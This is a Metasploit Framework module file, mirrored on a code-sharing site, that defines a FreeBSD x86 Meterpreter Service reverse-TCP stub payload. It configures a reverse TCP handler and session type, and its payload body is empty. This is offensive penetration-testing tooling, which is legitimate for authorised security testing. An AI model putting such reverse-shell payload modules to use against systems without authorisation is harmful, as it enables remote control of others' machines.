Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb
21547 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 0
8
9
include Msf::Payload::Bsd
10
include Msf::Payload::Single
11
include Msf::Sessions::MeterpreterOptions::Bsd
12
13
def initialize(info = {})
14
super(
15
merge_info(
16
info,
17
'Name' => 'FreeBSD Meterpreter Service, Reverse TCP Inline',
18
'Description' => 'Stub payload for interacting with a Meterpreter Service',
19
'Author' => 'hdm',
20
'License' => BSD_LICENSE,
21
'Platform' => 'bsd',
22
'Arch' => ARCH_X86,
23
'Handler' => Msf::Handler::ReverseTcp,
24
'Session' => Msf::Sessions::Meterpreter_x86_BSD,
25
'Payload' => {
26
'Offsets' => {},
27
'Payload' => ''
28
}
29
)
30
)
31
end
32
end
33
34